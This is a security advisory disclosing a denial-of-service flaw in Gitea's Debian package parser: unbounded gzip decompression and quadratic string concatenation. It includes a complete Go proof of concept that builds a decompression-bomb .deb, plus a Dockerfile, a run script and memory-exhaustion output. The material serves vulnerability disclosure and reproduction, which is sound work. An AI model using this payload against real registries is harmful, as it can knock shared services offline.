GHSA-6hm7-3pwj-22rm

Gitea's Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).

### Root Cause

There are two distinct root causes that can be exploited independently or together.

**1. Unbounded decompression (decompression bomb)** ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110

The resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`, every byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded `strings.Builder` via `io.TeeReader`:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150

There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.

**2. O(N²) string concatenation** For each continuation line belonging to the Description field, the parser appends to a plain string with +=:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164

Because Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.

### Reproducing I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.

This has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.

All the files go in the gitea file directory.

`cmd/poc/main.go` ```go package main

import ( "archive/tar" "bytes" "compress/gzip" "fmt" "io" "os" "runtime" "strings" "time"

"github.com/blakesmith/ar"

debian_module "gitea.dev/modules/packages/debian" )

// targetUncompressed is the desired size of the uncompressed control file. // Set comfortably above the 12 GB container limit so the OOM kill is reliable. const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB

// padLine is the filler field written after the required package fields. // Using an unknown field key ("X") means the parser discards the value but the // TeeReader still copies every byte into control.Builder — that is the bug. // Unlike Description continuation lines this does NOT trigger the O(N²) path, // so memory exhaustion is purely linear and fast. const padLine = "X: a\n" // 5 bytes

// controlHeader is a minimal valid Debian control file preamble. const controlHeader = "Package: evil\n" + "Version: 1.0\n" + "Architecture: amd64\n" + "Maintainer: Evil Hacker <evil@evil.com>\n" + "Description: exploit\n"

func printMem() { var m runtime.MemStats runtime.ReadMemStats(&m) // Print RSS-equivalent (HeapSys + StackSys covers most process memory). fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n", float64(m.HeapAlloc)/1e9, float64(m.Sys)/1e9, float64(m.TotalAlloc)/1e9, ) }

// buildControlTarGz streams a gzip-compressed tar archive containing a single // "control" entry whose uncompressed size is ~targetUncompressed bytes. // Writing is done in large batches so the loop itself is fast; gzip compresses // the repetitive content to a fraction of its original size. func buildControlTarGz(w io.Writer) error { gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed) if err != nil { return fmt.Errorf("gzip.NewWriter: %w", err) } tw := tar.NewWriter(gzw)

numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine) totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))

if err := tw.WriteHeader(&tar.Header{ Name: "./control", Mode: 0o644, Size: totalSize, ModTime: time.Now(), Typeflag: tar.TypeReg, }); err != nil { return fmt.Errorf("tar WriteHeader: %w", err) } if _, err := tw.Write([]byte(controlHeader)); err != nil { return fmt.Errorf("write header: %w", err) }

// Write padLine in 5 MB batches (1 M lines × 5 bytes). const batchLines = 1_000_000 batch := []byte(strings.Repeat(padLine, batchLines)) fullBatches := numPadLines / batchLines remainder := numPadLines % batchLines

fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n", numPadLines, float64(totalSize)/1e9)

t0 := time.Now() for i := range fullBatches { if _, err := tw.Write(batch); err != nil { return fmt.Errorf("batch write: %w", err) } if i%500 == 0 && i > 0 { pct := float64(i) / float64(fullBatches) * 100 fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds()) } } if remainder > 0 { if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil { return fmt.Errorf("remainder write: %w", err) } }

if err := tw.Close(); err != nil { return fmt.Errorf("tar close: %w", err) } if err := gzw.Close(); err != nil { return fmt.Errorf("gzip close: %w", err) } fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds()) return nil }

// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member // is the bomb; data.tar.gz is empty. func buildDeb(w io.Writer) error { // Buffer control.tar.gz first so we know its compressed size for the ar header. var ctrlBuf bytes.Buffer fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...") if err := buildControlTarGz(&ctrlBuf); err != nil { return err } ctrlBytes := ctrlBuf.Bytes() fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)

// Empty data.tar.gz var dataBuf bytes.Buffer dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed) tar.NewWriter(dgzw).Close() dgzw.Close() dataBytes := dataBuf.Bytes()

arw := ar.NewWriter(w) if err := arw.WriteGlobalHeader(); err != nil { return err } now := time.Now()

for _, member := range []struct { name string data []byte }{ {"debian-binary", []byte("2.0\n")}, {"control.tar.gz", ctrlBytes}, {"data.tar.gz", dataBytes}, } { if err := arw.WriteHeader(&ar.Header{ Name: member.name, Size: int64(len(member.data)), Mode: 0o644, ModTime: now, }); err != nil { return fmt.Errorf("ar header %s: %w", member.name, err) } if _, err := arw.Write(member.data); err != nil { return fmt.Errorf("ar write %s: %w", member.name, err) } } return nil }

func main() { fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===") fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9) fmt.Printf("Container memory limit: 12 GB\n\n")

// Background goroutine prints memory stats every 2 s. go func() { for range time.Tick(2 * time.Second) { printMem() } }()

// Phase 1 — create the payload and save it to a temp file. // Writing to disk keeps the ~200 MB compressed payload out of the heap // before we start the parse phase. tmp, err := os.CreateTemp("", "evil-*.deb") if err != nil { fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err) os.Exit(1) } defer os.Remove(tmp.Name()) defer tmp.Close()

t0 := time.Now() if err := buildDeb(tmp); err != nil { fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err) os.Exit(1) } sz, _ := tmp.Seek(0, io.SeekCurrent) fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())

// Phase 2 — call ParsePackage, mirroring UploadPackageFile at // routers/api/packages/debian/debian.go:146. // The TeeReader inside ParseControlFile (metadata.go:149) will copy the // entire 15 GB decompressed stream into control.Builder, exhausting the // 12 GB container limit and triggering an OOM kill. fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...") fmt.Println(" Memory will grow until the container is OOM-killed.") printMem()

if _, err := tmp.Seek(0, io.SeekStart); err != nil { fmt.Fprintf(os.Stderr, "seek: %v\n", err) os.Exit(1) }

t1 := time.Now() _, parseErr := debian_module.ParsePackage(tmp) // We only reach here if ParsePackage returns before OOM (e.g. scanner error). fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr) printMem() } ```

`Dockerfile.poc` ```docker FROM golang:1.26-bookworm AS builder

WORKDIR /src # Copy the full repo so the PoC can import gitea.dev/modules/packages/debian # and github.com/blakesmith/ar via the existing go.mod/go.sum. COPY . .

# Build only the PoC binary; ignore the rest of the tree. RUN go build -o /poc ./cmd/poc/

# ── runtime image ────────────────────────────────────────────────────────────── FROM debian:bookworm-slim COPY --from=builder /poc /poc ENTRYPOINT ["/poc"] ```

Now run the PoC in the Docker container with:

```bash #!/usr/bin/env bash set -euo pipefail

IMAGE=gitea-debian-poc

echo "=== Building Docker image ===" docker build -f Dockerfile.poc -t "$IMAGE" .

echo "" echo "=== Running PoC (memory limit: 12 GB) ===" echo " The container will be OOM-killed once memory is exhausted." echo ""

# --memory caps RSS; --memory-swap equal to --memory disables swap. # --oom-kill-disable is NOT set so the kernel OOM killer fires normally. docker run --rm \ --memory=12g \ --memory-swap=12g \ --name gitea-poc \ "$IMAGE"

EXIT=$? echo "" if [ $EXIT -eq 137 ]; then echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed." else echo "Container exited with code $EXIT." fi ```

You will see the following when running the container (see the heap allocation growing towards the end):

``` === Building Docker image === DEPRECATED: The legacy builder is deprecated and will be removed in a future release. Install the buildx component to build images with BuildKit: https://docs.docker.com/go/buildx/

Sending build context to Docker daemon 59.32MB Step 1/7 : FROM golang:1.26-bookworm AS builder ---> eafdda676c2e Step 2/7 : WORKDIR /src ---> Using cache ---> db52a8f73485 Step 3/7 : COPY . . ---> Using cache ---> 4caf57c6e889 Step 4/7 : RUN go build -o /poc ./cmd/poc/ ---> Using cache ---> 286afcb05d0e Step 5/7 : FROM debian:bookworm-slim ---> f54f5c8e2e12 Step 6/7 : COPY --from=builder /poc /poc ---> Using cache ---> d7d0b269df49 Step 7/7 : ENTRYPOINT ["/poc"] ---> Using cache ---> b233faaad561 Successfully built b233faaad561 Successfully tagged gitea-debian-poc:latest

=== Running PoC (memory limit: 12 GB) === The container will be OOM-killed once memory is exhausted.

=== Gitea Debian Parser — Decompression Bomb PoC === Target uncompressed control file size: 16.1 GB Container memory limit: 12 GB

[phase 1] Generating control.tar.gz (compressed payload)... Streaming 3221225450 lines (16.1 GB) through gzip... [mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB ... 16% (2.1s) ... 31% (3.9s) [mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB ... 47% (5.8s) [mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB ... 62% (7.4s) [mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB ... 78% (9.0s) [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB ... 93% (10.8s) Done in 11.5s control.tar.gz compressed size: 83.07 MB

Payload .deb on disk: 83.07 MB (took 11.6s)

[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)... Memory will grow until the container is OOM-killed. [mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB [mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB [mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB [mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB [mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB [mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB [mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB [mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB [mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB [mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB [mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB [mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB [mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB [mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB [mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB [mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB [mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB [mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB [mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB [mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB [mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB [mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB [mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB [mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB [mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB [mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB [mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB [mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB [mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB [mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB [mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB [mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB [mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB [mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB ```